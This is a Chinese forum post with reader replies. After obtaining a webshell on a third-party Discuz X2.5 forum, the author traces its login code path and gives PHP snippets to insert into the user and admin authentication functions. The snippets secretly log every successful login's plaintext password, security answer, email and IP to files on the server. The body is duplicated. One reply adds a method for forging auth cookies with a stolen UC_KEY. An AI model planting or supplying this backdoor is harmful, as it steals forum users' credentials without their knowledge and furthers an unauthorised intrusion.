关于截取discuz用户明文密码的一些笔记
临时碰到的问题,这里先做下记录,备以后查用。
最近碰到个discuz X2.5论坛,通过旁注拿到了webshell,但目标是要拿到这个discuz论坛的用户资料(包括密码)。初步想法是在discuz的代码里动下手脚,找到用户登录成功代码,然后加段代码将成功认证的用户密码等信息写到一个文件上去。下面逐步作记录。
第一个任务是截取论坛用户成功认证的登录密码。版本:discuz X2.5最新版
----begin---------------------------------------------------------------------------------------------------------------------
搭建环境完毕,用admin正常用户登录,抓个包看看:
POST /bbs/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
内容:
fastloginfield=username&username=admin&password=admin888&quickforward=yes&handlekey=ls
先从member.php开始看。三个核心的基础类:
------------------------------------------------------------------------------------------------------------------------------
基类:discuz_base(source\class\discuzz\discuz_base.php) 虚类,定义一些基础操作:get,set,call等
|
| discuz_application继承discuz_base
|
discuz_application(source\class\discuzz\discuz_application.php) 核心:环境变量、数据库、设置、用户设置、输入过滤、输出等
|
| 虽然不是继承,但其直接由discuz_application生成:self::$_app = discuz_application::instance();
|
core(source\class\class_core.php) 再做一些封装,导入一些需要的库
------------------------------------------------------------------------------------------------------------------------------
一开始不要绕进这些类去,大概看下结构后,还是顺着主脉络走:
$discuz = C::app(); #建core类
$discuz->init(); #调用了discuz_application的init(),初始化了user、db、session等大量东西
之后require了三个文件:
require libfile('function/member'); #/source/function/function_member.php,关键函数userlogin()
require libfile('class/member'); #/source/class/class_member.php,关键函数on_login(),on_login()经大量验证后最终调用userlogin()
require /source/module/member/member_'.$mod.'.php'; #/source/module/member/member_logging.php,调用class_member的on_login()
这里的关键在member_logging.php,是用户认证的启动代码
$ctl_obj = new logging_ctl(); #new了一个class_member对象,DISCUZ_ROOT/source/class/class_member.php
$ctl_obj->setting = $_G['setting'];
$method = 'on_'.$_GET['action'];
$ctl_obj->template = 'member/login';
$ctl_obj->$method(); #调用class_member的on_login()
所以,用户的认证代码在/source/class/class_member.php的on_login()。
理下脉络:
------------------------------------------------------------------------------------------------------------------------------
member.php->member_logging.php->class_member的on_login()
------------------------------------------------------------------------------------------------------------------------------
on_login()中,经过大量验证后,调用了source/function/function_member.php的userlogin()函数:
$result = userlogin($_GET['username'], $_GET['password'], $_GET['questionid'], $_GET['answer'], $this->setting['autoidselect'] ? 'auto' : $_GET['loginfield'], $_G['clientip']);
userlogin又继续调用uc的uc_user_login(\uc_client\client.php)
$return['ucresult'] = uc_user_login(addslashes($username), $password, $isuid, 1, $questionid, $answer, $ip);
uc_user_login实际是调用了用户自定义函数的宏UC_API_FUNC,后面是这个用户自定义函数的参数:
$return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));
宏UC_API_FUNC在\uc_client\client.php中定义为:
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');
uc_api_mysql也在\uc_client\client.php中定义,uc_api_mysql($model, $action, $args=array()),所以最终相当于调用了:
uc_api_mysql(user,login,('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer)));
而uc_api_mysql最终是调用uc_clinet/control/user.php的on_login()函数:
return $uc_controls[$model]->$action($args);#调用uc_clinet/control/user.php中的on_login()
至此进入了最底层的用户认证核心函数,回溯下主脉络
-------------------------------------------------------------------------------------------------------------------------------
member.php -> member_logging.php -> class_member(on_login()) -> function_member.php的userlogin() -> client.php(uc_user_login())
-> call_user_func(UC_API_FUNC) -> uc_api_mysql() -> uc_clinet/control/user.php(on_login())
-------------------------------------------------------------------------------------------------------------------------------
从uc_clinet/control/user.php的on_login()获得几个信息:
1、其又调用了uc_clinet/model/user.php的get_user_by_username($username),这个函数最终封装了数据库查询;
2、discuz用户密码加密的方式为:md5(md5(password).$user['salt']),其中的salt由substr(uniqid(rand()), -6)生成(取了随机数转换为微秒的末尾6位)。每个用户的salt都存在uc的member表中。
3、on_login()最后返回:array($status, $user['username'], $password, $user['email'], $merge),其中的$status是关键,成功认证的,这个$status就是用户uid,否则是负数。
至此整个认证分析流程走完。下面的工作就比较简单了,选择适当的节点,把成功认证的用户信息写到一个服务器文件中。
可选的地方非常多,随手挑一个节点:source/function/function_member.php的userlogin()。看具体代码:
登录完成后,程序检测返回数组中的sataus是否为合法的用户uid,是就登录成功。所以在以上代码片段的第57行插入写服务器文件代码即可。
随便列一段插入的代码:
#---------------------------------------------------------code--------------------------------------------------------------------------------
$himylife=$tmp['uid'].'|'.$tmp['username'].'|'.$password.'|'.$tmp['email'].'|'.$questionid.'|'.$answer.'|'.date('Y-m-d H:i:s',time()).'|'.$ip;
$fp=fopen(DISCUZ_ROOT.'./source/himylife.php','a+');
fputs($fp,$himylife);
fclose($fp);
#---------------------------------------------------------code--------------------------------------------------------------------------------
来看看效果:
测试比较成功,仅记录成功登录的用户信息。
下面进入第二个任务,在服务器上单独再写个文件,只记录成功认证的管理员用户信息。
----begin---------------------------------------------------------------------------------------------------------------------
经过上面的分析,接下来的工作应该比较简单了。还是走老路子,管理员账户登录后,点管理中心,然后截个包看看:
----admin.php抓包-------------------------------------------------------------------------------------------------------------
POST /bbs/admin.php? HTTP/1.1
Cookie: IvGn_2132_auth=4dfdu3TI9rhGBlQUg1Jcr7aSeYa9odVMel4nO%2BiLwLZFI1zY5458zA8fHZxA%2B0Gz%2BsB8rs%2BTBJlHodlqqubF; IvGn_2132_sid=k6Oyks; IvGn_2132_saltkey=mVSQqAFp; IvGn_2132_lastvisit=1346566711; IvGn_2132_lastact=1346675125%09admin.php%09; IvGn_2132_ulastactivity=ffb5EwgsIOdAWKb8EH01C49rIXhRNV54qFnLJ1AQZ2gNspuWk8Gq; IvGn_2132_lastcheckfeed=1%7C1346675022; IvGn_2132_sendmail=1; IvGn_2132_nofavfid=1; IvGn_2132_onlineusernum=1
sid=k6Oyks&frames=yes&admin_password=admin888&admin_questionid=0&admin_answer=&submit=%E6%8F%90%E4%BA%A4
----admin.php抓包-------------------------------------------------------------------------------------------------------------
由于在登录管理中心的时候,没有输入用户名,所以我把cookie内容也附上,可以看出cookie中也没有用户名,所以判断用户名肯定是存在之前认证的全局变量里了,打开admin.php开始分析。
有了前期的基础,看起来就比较简单了,直接锁定到27行处:
$admincp = new discuz_admincp();
$admincp->core = & $discuz;
$admincp->init();
再往下面看看,没有什么实质内容了,基本可以判断核心认证应该在discuz_admincp(source\class\discuz\discuz_admincp.php)这个类中。
果然不出所料,管理中心认证的水龙头就由$admincp->init()开启。下面直接列出脉络了:
-------------------------------------------------------------------------------------------------------------------------------
admin.php(discuz_admincp->init()) -> discuz_admincp.php(check_cpaccess()) -> discuz_admincp.php(check_admin_login()) ->
\uc_client\client.php(uc_user_login())
-------------------------------------------------------------------------------------------------------------------------------
不出所料,果然殊途同归了,又到了\uc_client\client.php(uc_user_login()),下面就没有必要再继续分析了。直接在discuz_admincp.php的check_admin_login()中加以下代码就行了。
#---------------------------------------------------------code--------------------------------------------------------------------------------
$himylife=$this->adminuser['uid'].'|'.$this->core->var['username'].'|'.$_POST['admin_password'].'|'.$_POST['admin_questionid'].'|'.$_POST['admin_answer'].'|'.date('Y-m-d H:i:s',time()).'|'.$this->core->var['clientip'];
$fp=fopen(DISCUZ_ROOT.'./source/admin.php','a+');
fputs($fp,$himylife."\r\n");
fclose($fp);
#---------------------------------------------------------code----------------------------------
最近碰到个discuz X2.5论坛,通过旁注拿到了webshell,但目标是要拿到这个discuz论坛的用户资料(包括密码)。初步想法是在discuz的代码里动下手脚,找到用户登录成功代码,然后加段代码将成功认证的用户密码等信息写到一个文件上去。下面逐步作记录。
第一个任务是截取论坛用户成功认证的登录密码。版本:discuz X2.5最新版
----begin---------------------------------------------------------------------------------------------------------------------
搭建环境完毕,用admin正常用户登录,抓个包看看:
POST /bbs/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
内容:
fastloginfield=username&username=admin&password=admin888&quickforward=yes&handlekey=ls
先从member.php开始看。三个核心的基础类:
------------------------------------------------------------------------------------------------------------------------------
基类:discuz_base(source\class\discuzz\discuz_base.php) 虚类,定义一些基础操作:get,set,call等
|
| discuz_application继承discuz_base
|
discuz_application(source\class\discuzz\discuz_application.php) 核心:环境变量、数据库、设置、用户设置、输入过滤、输出等
|
| 虽然不是继承,但其直接由discuz_application生成:self::$_app = discuz_application::instance();
|
core(source\class\class_core.php) 再做一些封装,导入一些需要的库
------------------------------------------------------------------------------------------------------------------------------
一开始不要绕进这些类去,大概看下结构后,还是顺着主脉络走:
$discuz = C::app(); #建core类
$discuz->init(); #调用了discuz_application的init(),初始化了user、db、session等大量东西
之后require了三个文件:
require libfile('function/member'); #/source/function/function_member.php,关键函数userlogin()
require libfile('class/member'); #/source/class/class_member.php,关键函数on_login(),on_login()经大量验证后最终调用userlogin()
require /source/module/member/member_'.$mod.'.php'; #/source/module/member/member_logging.php,调用class_member的on_login()
这里的关键在member_logging.php,是用户认证的启动代码
$ctl_obj = new logging_ctl(); #new了一个class_member对象,DISCUZ_ROOT/source/class/class_member.php
$ctl_obj->setting = $_G['setting'];
$method = 'on_'.$_GET['action'];
$ctl_obj->template = 'member/login';
$ctl_obj->$method(); #调用class_member的on_login()
所以,用户的认证代码在/source/class/class_member.php的on_login()。
理下脉络:
------------------------------------------------------------------------------------------------------------------------------
member.php->member_logging.php->class_member的on_login()
------------------------------------------------------------------------------------------------------------------------------
on_login()中,经过大量验证后,调用了source/function/function_member.php的userlogin()函数:
$result = userlogin($_GET['username'], $_GET['password'], $_GET['questionid'], $_GET['answer'], $this->setting['autoidselect'] ? 'auto' : $_GET['loginfield'], $_G['clientip']);
userlogin又继续调用uc的uc_user_login(\uc_client\client.php)
$return['ucresult'] = uc_user_login(addslashes($username), $password, $isuid, 1, $questionid, $answer, $ip);
uc_user_login实际是调用了用户自定义函数的宏UC_API_FUNC,后面是这个用户自定义函数的参数:
$return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));
宏UC_API_FUNC在\uc_client\client.php中定义为:
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');
uc_api_mysql也在\uc_client\client.php中定义,uc_api_mysql($model, $action, $args=array()),所以最终相当于调用了:
uc_api_mysql(user,login,('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer)));
而uc_api_mysql最终是调用uc_clinet/control/user.php的on_login()函数:
return $uc_controls[$model]->$action($args);#调用uc_clinet/control/user.php中的on_login()
至此进入了最底层的用户认证核心函数,回溯下主脉络
-------------------------------------------------------------------------------------------------------------------------------
member.php -> member_logging.php -> class_member(on_login()) -> function_member.php的userlogin() -> client.php(uc_user_login())
-> call_user_func(UC_API_FUNC) -> uc_api_mysql() -> uc_clinet/control/user.php(on_login())
-------------------------------------------------------------------------------------------------------------------------------
从uc_clinet/control/user.php的on_login()获得几个信息:
1、其又调用了uc_clinet/model/user.php的get_user_by_username($username),这个函数最终封装了数据库查询;
2、discuz用户密码加密的方式为:md5(md5(password).$user['salt']),其中的salt由substr(uniqid(rand()), -6)生成(取了随机数转换为微秒的末尾6位)。每个用户的salt都存在uc的member表中。
3、on_login()最后返回:array($status, $user['username'], $password, $user['email'], $merge),其中的$status是关键,成功认证的,这个$status就是用户uid,否则是负数。
至此整个认证分析流程走完。下面的工作就比较简单了,选择适当的节点,把成功认证的用户信息写到一个服务器文件中。
可选的地方非常多,随手挑一个节点:source/function/function_member.php的userlogin()。看具体代码:
登录完成后,程序检测返回数组中的sataus是否为合法的用户uid,是就登录成功。所以在以上代码片段的第57行插入写服务器文件代码即可。
随便列一段插入的代码:
#---------------------------------------------------------code--------------------------------------------------------------------------------
$himylife=$tmp['uid'].'|'.$tmp['username'].'|'.$password.'|'.$tmp['email'].'|'.$questionid.'|'.$answer.'|'.date('Y-m-d H:i:s',time()).'|'.$ip;
$fp=fopen(DISCUZ_ROOT.'./source/himylife.php','a+');
fputs($fp,$himylife);
fclose($fp);
#---------------------------------------------------------code--------------------------------------------------------------------------------
来看看效果:
测试比较成功,仅记录成功登录的用户信息。
下面进入第二个任务,在服务器上单独再写个文件,只记录成功认证的管理员用户信息。
----begin---------------------------------------------------------------------------------------------------------------------
经过上面的分析,接下来的工作应该比较简单了。还是走老路子,管理员账户登录后,点管理中心,然后截个包看看:
----admin.php抓包-------------------------------------------------------------------------------------------------------------
POST /bbs/admin.php? HTTP/1.1
Cookie: IvGn_2132_auth=4dfdu3TI9rhGBlQUg1Jcr7aSeYa9odVMel4nO%2BiLwLZFI1zY5458zA8fHZxA%2B0Gz%2BsB8rs%2BTBJlHodlqqubF; IvGn_2132_sid=k6Oyks; IvGn_2132_saltkey=mVSQqAFp; IvGn_2132_lastvisit=1346566711; IvGn_2132_lastact=1346675125%09admin.php%09; IvGn_2132_ulastactivity=ffb5EwgsIOdAWKb8EH01C49rIXhRNV54qFnLJ1AQZ2gNspuWk8Gq; IvGn_2132_lastcheckfeed=1%7C1346675022; IvGn_2132_sendmail=1; IvGn_2132_nofavfid=1; IvGn_2132_onlineusernum=1
sid=k6Oyks&frames=yes&admin_password=admin888&admin_questionid=0&admin_answer=&submit=%E6%8F%90%E4%BA%A4
----admin.php抓包-------------------------------------------------------------------------------------------------------------
由于在登录管理中心的时候,没有输入用户名,所以我把cookie内容也附上,可以看出cookie中也没有用户名,所以判断用户名肯定是存在之前认证的全局变量里了,打开admin.php开始分析。
有了前期的基础,看起来就比较简单了,直接锁定到27行处:
$admincp = new discuz_admincp();
$admincp->core = & $discuz;
$admincp->init();
再往下面看看,没有什么实质内容了,基本可以判断核心认证应该在discuz_admincp(source\class\discuz\discuz_admincp.php)这个类中。
果然不出所料,管理中心认证的水龙头就由$admincp->init()开启。下面直接列出脉络了:
-------------------------------------------------------------------------------------------------------------------------------
admin.php(discuz_admincp->init()) -> discuz_admincp.php(check_cpaccess()) -> discuz_admincp.php(check_admin_login()) ->
\uc_client\client.php(uc_user_login())
-------------------------------------------------------------------------------------------------------------------------------
不出所料,果然殊途同归了,又到了\uc_client\client.php(uc_user_login()),下面就没有必要再继续分析了。直接在discuz_admincp.php的check_admin_login()中加以下代码就行了。
#---------------------------------------------------------code--------------------------------------------------------------------------------
$himylife=$this->adminuser['uid'].'|'.$this->core->var['username'].'|'.$_POST['admin_password'].'|'.$_POST['admin_questionid'].'|'.$_POST['admin_answer'].'|'.date('Y-m-d H:i:s',time()).'|'.$this->core->var['clientip'];
$fp=fopen(DISCUZ_ROOT.'./source/admin.php','a+');
fputs($fp,$himylife."\r\n");
fclose($fp);
#---------------------------------------------------------code----------------------------------
评论22次
还可以
这个不错 还带分析的
好细致! 很欣赏啊!
楼主研究的很仔细啊 很好
分析的很详细,适合我等菜鸟学xi
万恶的劫持
不错的分析文章,,,,学xi了
感谢lz的分析 这种方法多种多样 有兴趣讨论一下也不错 看看神马方法最好 等楼下回复 ================================================= http://hi.baidu.com/aullik5/item/269cb06c566fa9116895e6fa Discuz! authcode() 弱IV缺陷 人家说可以算出salt 值 Cookie 方面 只要拿到UC_KEY就可以直接用hash 算出Cookie 无需密码(猜测) “Cookie: IvGn_2132_auth=4dfdu3TI9rhGBlQUg1Jcr7aSeYa9odVMel4nO%2BiLwLZFI1zY5458zA8fHZxA%2B0Gz%2BsB8rs%2BTBJlHodlqqubF;” 前10字节(4位)是VI 然后结合UC_KEY 构造 跟踪一下加密过程 然后解密肯定会发现有意思的东西 http://hi.baidu.com/dmkj2008/item/f01f901325d5e58989a95655 老文章 也许现在不同了 假如只有数据库权限 知道UC_KEY 也就无需修改代码 直接登入 =======吐槽一下 这样只要拿到hash KEY 就可以了 KEY是固定的 以这种算法加密的 写入数据库 看似加密 表面上无解 但是有KEY可以完全逆向明文 (本身密码无加密但是必须要有key 原则上其实强度比MD5高但同时也可以方便管理员逆向密码明文) 以前遇到过so 记录一下 没试过 但是等到我去试估计需要一段时间 既然是交流我也没有彻底研究过 如果有研究的就亲PM下我把呵呵 一个思路 假设 有注入 可以读取dzweb目录文件 在注入出的hash MD5无解的时候读取UC_KEY 构造Cookie 登入
分析的很详细
分析的很不错 留着备用
很久之前研究过7.X的。。。
写的蛮详细的, 不错~~~~~~~~~~~~~
直接劫持表单好像还不错!
lz分析研究得好细致,一定要认真的学xi揣摩几遍.谢谢
改代码,管理员看md5喜欢发现。
我以前也大概看过,不过一般就是在uc_client下记录 楼主写的很消息,赞一个
支持
mark
喜欢
喜欢